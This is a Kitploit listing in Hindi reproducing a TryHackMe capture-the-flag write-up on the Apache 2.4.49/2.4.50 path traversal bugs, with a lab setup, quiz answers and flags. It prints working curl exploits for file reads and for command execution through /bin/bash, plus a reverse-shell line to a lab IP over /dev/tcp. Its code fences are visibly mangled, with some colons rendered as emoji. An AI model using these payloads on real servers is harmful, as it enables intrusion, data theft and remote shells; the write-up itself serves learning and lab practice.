Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CTF_WRITEUPS-TryHackMe-CVE-2021-41773- — CTF_WRITEUPS/TryHackMe /CVE-2021-41773/ | Kitploit
उपकरण/GitHubGitHub/hackedrishi/ctf_writeups-tryhackme-cve-2021-41773-
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाCTFलर्निंग और शिक्षालैब और अभ्यास
GitHubhackedrishi/ctf_writeups-tryhackme-cve-2021-41773-

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTF_WRITEUPS/TryHackMe /CVE-2021-41773/

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTF_WRITEUPS/TryHackMe /CVE-2021-41773/

CVE-2021-41773/42013

Apache पथ पारगमन बग और अधूरे फिक्स का संक्षिप्त विवरण

कार्य 1: थोड़ा पृष्ठभूमि...

एक संक्षिप्त इतिहास

5 अक्टूबर 2021 को, Apache HTTP Server v2.4.49 पर पथ पारगमन हमले का विवरण देने वाला एक CVE जारी किया गया। CVE-2021-41773 नंबर दिया गया, इसे निम्नलिखित विवरण के साथ जारी किया गया:

Apache HTTP Server 2.4.49 में पथ सामान्यीकरण में किए गए बदलाव में एक दोष पाया गया। एक हमलावर पथ पारगमन हमले का उपयोग करके URLs को अपेक्षित दस्तावेज़ रूट के बाहर फ़ाइलों से मैप कर सकता है। यदि दस्तावेज़ रूट के बाहर की फ़ाइलें "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। इसके अतिरिक्त (sic) यह दोष CGI स्क्रिप्ट जैसी व्याख्या की गई फ़ाइलों के स्रोत को लीक कर सकता है। यह मुद्दा जंगली में शोषण किया जा रहा है। यह मुद्दा केवल Apache 2.4.49 को प्रभावित करता है, पुराने संस्करणों को नहीं।

आइए इसे तोड़ें और देखें कि हमारे लिए इसका वास्तव में क्या अर्थ है:

  • पहले भाग से, हम देखते हैं कि एक हालिया बदलाव ने दोष को उजागर किया। पथ सामान्यीकरण का मतलब है कि हम किसी दिए गए पथ को किसी विहित रूप में बदल देते हैं जिसे सॉफ़्टवेयर समझ सकता है, और इस प्रकार वास्तविक फ़ाइल सिस्टम से मैप कर सकता है। यह पहले से ही हमें एक पथ पारगमन हमले का संदेह कराता है जो संभावित रूप से अनजाने फ़ाइलों को पढ़ सकता है।
  • अगला भाग हमारे संदेह की पुष्टि करता है, और हम इच्छित दायरे के बाहर संसाधनों को पढ़ने के लिए पथ पारगमन हमले का उपयोग करने में सक्षम हैं।
  • हम देखते हैं कि हमें एक विशेष कॉन्फ़िगरेशन सेट करने की आवश्यकता है। दस्तावेज़ रूट के बाहर की फ़ाइलों को स्पष्ट रूप से अनुमतियाँ दी जानी चाहिए। यह डिफ़ॉल्ट कॉन्फ़िगरेशन नहीं है और इस प्रकार यह शोषण अधिकांश Apache होस्टों के खिलाफ बेकार होना चाहिए (शुक्र है)।
  • अगला भाग CGI स्क्रिप्ट के बारे में बात करता है, जो हमें गलती से विश्वास दिलाता है कि इस हमले के काम करने के लिए CGI को सक्षम करने की आवश्यकता हो सकती है या पथ में किसी तरह से CGI शामिल है।
  • भले ही हमारा कॉन्फ़िगरेशन इस बग से सीधे प्रभावित न हो, फिर भी हम कमजोर संस्करणों को ASAP अपडेट करना चाहेंगे।
  • बहुत सारे फिक्स बाद में...

    तो Apache ने इस बग को ठीक किया और v2.4.50 जारी किया। कहानी का अंत, है ना? खैर, बिल्कुल नहीं। केवल 2 दिन बाद, 7 अक्टूबर को, पिछले CVE का हवाला देते हुए एक नया CVE जारी किया गया। इसमें उल्लेख किया गया कि पिछले पथ पारगमन हमले का फिक्स अधूरा था, और हम अभी भी पारगमन कर सकते हैं यदि प्रश्न में पथ अपने URLs को फ़ाइल सिस्टम पर मैप करने के लिए एलियास निर्देश का उपयोग करता है। CVE को नंबर CVE-2021-42013 दिया गया, निम्नलिखित विवरण के साथ:

    यह पाया गया कि Apache HTTP Server 2.4.50 में CVE-2021-41773 का फिक्स अपर्याप्त था। एक हमलावर पथ पारगमन हमले का उपयोग करके URLs को एलियास-जैसे निर्देशों द्वारा कॉन्फ़िगर की गई निर्देशिकाओं के बाहर फ़ाइलों से मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फ़ाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन एलियास्ड पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं (sic), तो यह रिमोट कोड एक्ज़ीक्यूशन (RCE) की अनुमति दे सकता है। यह मुद्दा केवल Apache 2.4.49 और Apache 2.4.50 को प्रभावित करता है, पुराने संस्करणों को नहीं।

    पहले की तरह, हम यहां कुछ बातें सीख सकते हैं:

    • जबकि पहले शोषण को कथित तौर पर ठीक कर दिया गया था, पारगमन को काम करने की अनुमति देने के लिए एक और इनपुट है (इसे बाद में याद रखें)।
    • अब हम एलियास्ड पथ निर्देशों तक सीमित हैं।
    • सामान्य पथों के बाहर की निर्देशिकाओं को अभी भी स्पष्ट अनुमतियाँ दी जानी चाहिए।
    • यदि CGI सक्षम है, तो हम सरल प्रकटीकरण के अलावा RCE भी प्राप्त कर सकते हैं 😲

    जब हम इस पागलपन को संसाधित कर रहे हैं, हम अगले कार्य में आवश्यक कॉन्फ़िगरेशन पर गौर करेंगे।

    नीचे दिए गए प्रश्नों के उत्तर दें

    1. Apache httpd का कौन सा संस्करण प्रारंभ में इस CVE के लिए कमजोर था?
    • 2.4.49
    1. इस कमजोरी के लिए शोषण योग्य होने के लिए एक असामान्य मिसकॉन्फ़िगरेशन की आवश्यकता है (हाँ/नहीं)
    • हाँ

    कार्य 2: वैसे भी पथ पारगमन क्या है?

    थ्योरी का एक टुकड़ा

    पथ पारगमन एक हमला है जिसका उद्देश्य पथ समाधान और/या सामान्यीकरण में दोषों का दुरुपयोग करके सामान्य रूप से दुर्गम संसाधनों तक पहुँचना है। हम आमतौर पर .. सिंटैक्स का उपयोग करके कल्पित रूट से पीछे (पारगमन के रूप में भी जाना जाता है) यात्रा करके इस प्रकार के हमले का शोषण करते हैं।

    सामान्यीकरण? क्या?

    आम तौर पर, किसी फ़ाइल को खोजने के लिए किसी कोड को पथ प्रदान करते समय, एक निरपेक्ष पथ आवश्यक होता है। आइए इसे विहित पथ कहते हैं। जब इसके बजाय एक सापेक्ष पथ दिया जाता है, तो इसे एक विहित रूप में सामान्यीकृत किया जाना चाहिए ताकि OS लाइब्रेरीज़ जो उस पथ का उपयोग करती हैं, फिर प्रश्न में संसाधन ढूंढ सकें। बेशक यह एक अति सरलीकरण है, लेकिन मूल बात वही रहती है।

    सामान्य तौर पर, हमारे लिए यह सामान्यीकरण करने के लिए प्लेटफ़ॉर्म लाइब्रेरीज़ मौजूद हैं, लेकिन C/C++ में हम आमतौर पर सब कुछ स्वयं करते हैं। जबकि यह कुछ लचीलापन प्रदान कर सकता है, यह आसानी से दोष भी पेश कर सकता है यदि हमारा कार्यान्वयन सही न हो।

    URLs को सामान्यीकृत करना

    एक HTTP सर्वर को सही फ़ाइल प्रस्तुत करने के लिए URL को फ़ाइल सिस्टम पर एक विहित पथ में अनुवाद करना होता है। जबकि दस्तावेज़ रूट से परे पारगमन से बचने के लिए निश्चित रूप से कुछ फ़िल्टर मौजूद हैं, कुछ उपयोग मामलों को आसानी से छोड़ा जा सकता है। इस मामले में, शोषण न केवल URL एन्कोडिंग (हम इस पर थोड़ी देर बाद आएंगे) बल्कि एलियास मॉड्यूल के पथ सामान्यीकरण में एक दोष (कथित तौर पर) का लाभ उठाता है।

    URL एन्कोडिंग पर एक छोटी सी जानकारी

    RFC 3986 धारा 2 में परिभाषित, URL एन्कोडिंग एक योजना है जिसका उपयोग URL के भीतर विशेष या आरक्षित वर्णों को एन्कोड करने के लिए किया जाता है। उदाहरण के लिए, URL में रिक्त स्थान को + वर्ण के रूप में एन्कोड किया जाता है (विशेष रूप से क्वेरी पैरामीटर में)। यदि हम एक वास्तविक प्लस को एन्कोड करना चाहते हैं, तो हमें इसे "प्रतिशत-एन्कोडिंग" के रूप में ज्ञात विधि का उपयोग करके एन्कोड करना होगा। इसमें केवल वर्ण के US-ASCII हेक्साडेसिमल कोड को % चिह्न से उपसर्ग करना शामिल है। हमारे उदाहरण में, + प्रतीक को %2B के रूप में एन्कोड किया जा सकता है।

    किसी भी वर्ण को URL-एन्कोड किया जा सकता है, और पूरी तरह से URL-एन्कोडेड URLs कार्यात्मक रूप से गैर-एन्कोडेड संस्करण के समतुल्य होते हैं। RFC से: यदि दो URIs केवल प्रतिशत-एन्कोडेड ऑक्टेट में उपयोग किए गए हेक्साडेसिमल अंकों के मामले में भिन्न हैं, तो वे समतुल्य हैं।

    तो Apache के साथ क्या हुआ?

    Apache सर्वर में पथ सामान्यीकरण मॉड्यूल में एक हालिया बदलाव ने तब एक विशेष रूप से तैयार किए गए URL को फ़िल्टर को बायपास करने और दस्तावेज़ रूट से परे पारगमन करने की अनुमति दी, जिससे सिस्टम पर मनमानी फ़ाइल पढ़ने की अनुमति मिली, यदि कॉन्फ़िगरेशन इसकी अनुमति देता है। इसके अलावा, यदि CGI मॉड्यूल सक्षम था, तो मनमानी फ़ाइल निष्पादन भी संभव है!

    नीचे दिए गए प्रश्नों के उत्तर दें

    1. पथ पारगमन शोषण (सबसे अच्छा उत्तर चुनें):

    A) सर्वर पर संसाधित होने के लिए मनमानी रिमोट फ़ाइलों को शामिल करता है। B) सर्वर पर संसाधित होने के लिए मनमानी स्थानीय फ़ाइलों को शामिल करता है। C) सर्वर द्वारा मनमानी फ़ाइलों को उजागर करने की अनुमति देता है। D) उपरोक्त में से कोई नहीं।

    • C
    1. . प्रतीक को URL-एन्कोड करें
    • %2E
    1. यह URL खंड किसमें डिकोड होता है: %%32%65 ?
    • %2E

    कार्य 3: ठीक है, ठीक है; हैक्स दो!

    मज़े के लिए Apache को हैक करना

    तो अब जब थ्योरी खत्म हो गई है, तो आइए इस दोष का शोषण करने के लिए आगे बढ़ें। सबसे पहले, हमें Apache का एक कमजोर संस्करण चाहिए। शुक्र है कि इसके लिए हमारे पास डॉकर है :)```
    user@machine$ docker pull httpd:2.4.49 2.4.49: Pulling from library/httpd 07aded7c29c6: Already exists 05bb40c8f148: Already exists 0827b74117da: Already exists 35a526fdcc7d: Pull complete 59fed288cd32: Pull complete Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc Status: Downloaded newer image for httpd:2.4.49 docker.io/library/httpd:2.4.49

    root@kitploit:~
    **कॉन्फ़िगरेशन**
    
    इस एक्सप्लॉइट के काम करने के लिए, हमें Apache को कॉन्फ़िगर करना होगा ताकि डॉक्यूमेंट रूट के बाहर फ़ाइलों तक पहुंच की अनुमति मिल सके। हम सटीक हो सकते हैं और एक विशिष्ट निर्देशिका निर्दिष्ट कर सकते हैं, या हम YOLO रास्ता अपना सकते हैं और सब कुछ तक पहुंच दे सकते हैं। हमारे उद्देश्यों के लिए, सब कुछ ठीक काम करेगा। शुरू करने के लिए, आइए अपने कंटेनर को चलाएं और कॉन्फ़िगरेशन में खुदाई करें। ध्यान दें कि ये संशोधन Apache के दोनों कमजोर संस्करणों के लिए काम करते हैं।```
    user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
    a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
    
    user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
    
    user@machine$ grep -C4 -n "Require all denied" httpd.conf
    246-# <Directory> blocks below.
    247-#
    248-<Directory />
    249-    AllowOverride none
    250:    Require all denied
    251-</Directory>
    252-
    253-#
    254-# Note that from this point forward you must specifically allow
    --
    303-# The following lines prevent .htaccess and .htpasswd files from being
    304-# viewed by Web clients.
    305-#
    306-<Files ".ht*">
    307:    Require all denied
    308-</Files>
    309-
    310-#
    311-# ErrorLog: The location of the error log file.
    
    user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
    
    user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
    
    user@machine docker container restart vuln-httpd
    vuln-httpd
    
    

    एक अलग बात के रूप में, आप हमेशा कॉन्फ़िगरेशन को हाथ से संशोधित कर सकते हैं। हम उस हिस्से को संशोधित करना चाहते हैं जो कहता है:``` AllowOverride none Require all denied

    root@kitploit:~
    और denied को granted से बदलें। इससे Apache को पूरे फाइलसिस्टम तक पहुंच मिल जाएगी (जो निश्चित रूप से अच्छा विचार नहीं है, इसलिए इसे प्रोडक्शन में कभी न करें)।
    
    **उस रसीले RCE के लिए कॉन्फ़िगरेशन**
    
    केवल एक्सेस कंट्रोल में बदलाव करने से डेटा एक्सपोज़र मिलेगा, लेकिन RCE नहीं। अपने छोटे से PoC में RCE प्राप्त करने के लिए, हमें एक्सेस अनुमतियों के अतिरिक्त CGI मॉड्यूल को भी सक्रिय करना होगा। इससे CGI मॉड्यूल स्क्रिप्ट को उसकी सामग्री दिखाने के बजाय कॉल करने पर निष्पादित करेगा। CGI को सक्षम करने के लिए, हमें बस LoadModule कॉन्फ़िगरेशन को अनकमेंट करना होगा। यह मानते हुए कि हमारे पास अभी भी वह कंटेनर है जिसे हमने पहले बदला था, हम निम्नलिखित कर सकते हैं:```
    user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
    
    user@machine$ grep -C4 -n "mod_cgi" httpd.conf
    180-#LoadModule asis_module modules/mod_asis.so
    181-#LoadModule info_module modules/mod_info.so
    182-#LoadModule suexec_module modules/mod_suexec.so
    183-<IfModule !mpm_prefork_module>
    184:    #LoadModule cgid_module modules/mod_cgid.so
    185-</IfModule>
    186-<IfModule mpm_prefork_module>
    187:    #LoadModule cgi_module modules/mod_cgi.so
    188-</IfModule>
    189-#LoadModule dav_fs_module modules/mod_dav_fs.so
    190-#LoadModule dav_lock_module modules/mod_dav_lock.so
    191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
    --
    385-
    386-<IfModule cgid_module>
    387-    #
    388-    # ScriptSock: On threaded servers, designate the path to the UNIX
    389:    # socket used to communicate with the CGI daemon of mod_cgid.
    390-    #
    391-    #Scriptsock cgisock
    392-</IfModule>
    393-
    
    user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
    
    user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
    
    user@machine docker container restart vuln-httpd
    vuln-httpd
    
    

    आप निश्चित रूप से फ़ाइलों को संशोधित करने के लिए किसी भी उपलब्ध टेक्स्ट एडिटर का उपयोग कर सकते हैं। grep/sed विधि कंटेनर के अंदर एक शेल के साथ काम करती है, क्योंकि वहाँ कोई टेक्स्ट एडिटर उपलब्ध नहीं हैं।

    अब एक्सप्लॉइट्स पर आते हैं!

    अब जब हमने अपना कंटेनर सेटअप कर लिया है, हम इस CVE का शोषण करने के लिए आगे बढ़ सकते हैं (आखिरकार)। विधि काफी सीधी है, और इसमें ट्रैवर्स करते समय प्रत्येक URL पथ खंड में एक . प्रतीक को url-encoding करना शामिल है। हमें एक aliased पथ से भी ट्रैवर्स करना होगा। सौभाग्य से, हम कॉन्फ़िग पढ़ने से जानते हैं कि cgi-bin पथ डिफ़ॉल्ट रूप से aliased है, तो चलिए इसका उपयोग करते हैं! एक्सप्लॉइट संस्करण 2.4.49 और 2.4.50 के बीच थोड़ा भिन्न होता है, हालांकि बाद वाला पहले वाले पर भी काम करता है। Apache 2.4.49 बिना CGI सक्षम के

    CGI सक्षम न होने पर, हम केवल फ़ाइलें पढ़ सकते हैं। curl का उपयोग करके, हम बस उन फ़ाइलों तक पहुँचते हैं जिन्हें हम चाहते हैं, प्रत्येक पथ खंड में एक . को url-encoding करके।``` user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

    • Trying 127.0.0.1:8080...
    • Connected to localhost (127.0.0.1) port 8080 (#0)

    GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /

    • Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 11 Oct 2021 10:58:04 GMT < Server: Apache/2.4.49 (Unix) < Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT < ETag: "39e-5cceec7356000" < Accept-Ranges: bytes < Content-Length: 926 < root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
    • Connection #0 to host localhost left intact
    root@kitploit:~
    **Apache 2.4.49 CGI सक्षम के साथ**
    
    CGI मामले को जटिल बना देगा क्योंकि मॉड्यूल प्राप्त फ़ाइल को निष्पादित करने का प्रयास करेगा। सादे टेक्स्ट, जैसे /etc/passwd, के लिए यह समस्याग्रस्त हो सकता है :). कोड को निष्पादित करने के लिए, हम केवल `sh` या `bash` को बॉडी में कमांड के साथ कॉल कर सकते हैं। ध्यान दें कि Content-Type प्रतिक्रिया हेडर को भी भेजा जाना चाहिए ताकि क्लाइंट को पता चले कि परिणाम कैसे प्रदर्शित करने हैं।```
    user@machine$  curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
    *   Trying 127.0.0.1:8080...
    * Connected to localhost (127.0.0.1) port 8080 (#1)
    > POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
    > Host: localhost:8080
    > User-Agent: curl/7.74.0
    > Accept: */*
    > Content-Type: text/plain
    > Content-Length: 52
    >
    * upload completely sent off: 52 out of 52 bytes
    * Mark bundle as not supporting multiuse
    < HTTP/1.1 200 OK
    < Date: Mon, 11 Oct 2021 12:22:34 GMT
    < Server: Apache/2.4.49 (Unix)
    < Transfer-Encoding: chunked
    < Content-Type: text/plain
    <
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    * Connection #1 to host localhost left intact
    
    

    Apache 2.4.50

    This particular example was fixed in version 2.4.50. However, the fix was incomplete and failed to account for a double-encoding of the URL. In this case, we can use the same structure as the previous version, with the following path:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin

    root@kitploit:~
    यदि हम ध्यान से देखें, तो देख सकते हैं कि URL `%%32%65` से `%2e.` में डिकोड होता है। यह फ़िल्टर कोड को बायपास करता है और हमें वेब सर्वर रूट के बाहर जाने की अनुमति देता है।
    
    **नीचे दिए गए प्रश्नों के उत्तर दें**
    
    1. **रिमोट कोड एक्सेक्यूशन प्राप्त करने के लिए कौन सा मॉड्यूल सक्षम होना चाहिए?**
    - **mod_cgi**
    
    ---
    
    ### कार्य 4: व्यावहारिक परीक्षा 
    
    कॉन्फ़िगरेशन थोड़ा पेचीदा है, इसलिए मैंने आपके लिए यह सब कर दिया है! इस कार्य से जुड़ी वर्चुअल मशीन में (कृपया सब्सक्राइबर VM के लिए 4 मिनट और मुफ्त VM के लिए 7 मिनट तक सही से शुरू होने का इंतजार करें), 4 संवेदनशील Apache सर्वर इस प्रकार कॉन्फ़िगर किए गए हैं:
    
        Apache 2.4.49 बिना CGI: `http://MACHINE_IP:8080`
        Apache 2.4.49 CGI के साथ: `http://MACHINE_IP:8081`
        Apache 2.4.50 बिना CGI: `http://MACHINE_IP:8082`
        Apache 2.4.50 CGI के साथ: `http://MACHINE_IP:8083`
    
    प्रत्येक सर्वर की रूट डायरेक्टरी में `flag.txt` नामक एक फ़्लैग है। आपका कार्य उन सभी को खोजना है।
    
    बोनस उद्देश्य के रूप में, CGI-सक्षम सर्वरों में से किसी एक पर वास्तविक शेल प्राप्त करने का प्रयास करें। पोर्ट 8083 वाले सर्वर में एक छिपा हुआ रूट फ़्लैग भी है।
    
    
    ***नीचे दिए गए प्रश्नों के उत्तर दें***
    
    1. **पोर्ट 8080 पर फ़्लैग क्या है?**
    - ***THM{724V3R51N6_P4TH5_F02_FUN}***```
    $ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
    
    - Trying 10.10.107.169:8080...
    - TCP_NODELAY set
      % Total % Received % Xferd Average Speed Time Time Time Current
      Dload Upload Total Spent Left Speed
      0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
      > GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
      > Host: 10.10.107.169:8080
      > User-Agent: curl/7.67.0
      > Accept: _/_
    - Mark bundle as not supporting multiuse
      < HTTP/1.1 200 OK
      < Date: Wed, 10 Nov 2021 08:57:26 GMT
      < Server: Apache/2.4.49 (Unix)
      < Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
      < ETag: "1d-5ce102e25be36"
      < Accept-Ranges: bytes
      < Content-Length: 29
      < Content-Type: text/plain
      <
      { [29 bytes data]
      100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
    - Connection #0 to host 10.10.107.169 left intact
    
    
    1. पोर्ट 8081 पर फ्लैग क्या है?
    • THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"

    • Trying 10.10.107.169:8081...

    • TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)

      POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50

      } [50 bytes data]

    • upload completely sent off: 50 out of 50 bytes

    • Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}

    • Connection #0 to host 10.10.107.169 left intact

    root@kitploit:~
    3. **पोर्ट 8082 पर फ्लैग क्या है?**
    - ***THM{D0UBL3_3NC0D1N6_F7W}***```
    $ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
    % Total % Received % Xferd Average Speed Time Time Time Current
    Dload Upload Total Spent Left Speed
    100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
    
    
    1. पोर्ट 8083 पर फ्लैग क्या है?
    • THM{F1L732_8YP455_2C3}``` $ curl 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 72 0 22 100 50 25 58 --:--:-- --:--:-- --:--:-- 84THM{F1L732_8YP455_2C3}
    root@kitploit:~
    5. **मैं एक शेल प्राप्त करने में सक्षम था! (मैं वास्तव में इसकी पुष्टि नहीं कर सकता, इसलिए मैं आप पर विश्वास करूंगा :))**
    ***कोई उत्तर आवश्यक नहीं***
    
    6. **Apache सर्वर किस उपयोगकर्ता के रूप में चल रहा है?**
    - ***daemon***
    
    7. **पोर्ट 8083 पर मशीन पर रूट फ्लैग खोजें?**
    - ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
    $ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
    
    - Trying 10.10.37.52:8083...
    - TCP_NODELAY set
      % Total % Received % Xferd Average Speed Time Time Time Current
      Dload Upload Total Spent Left Speed
      0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
      > POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
      > Host: 10.10.37.52:8083
      > User-Agent: curl/7.67.0
      > Accept: _/_
      > Content-Length: 48
      > Content-Type: application/x-www-form-urlencoded
      >
      > } [48 bytes data]
    - upload completely sent off: 48 out of 48 bytes
    - Mark bundle as not supporting multiuse
      < HTTP/1.1 200 OK
      < Date: Fri, 12 Nov 2021 16:20:43 GMT
      < Server: Apache/2.4.50 (Unix)
      < Transfer-Encoding: chunked
      <
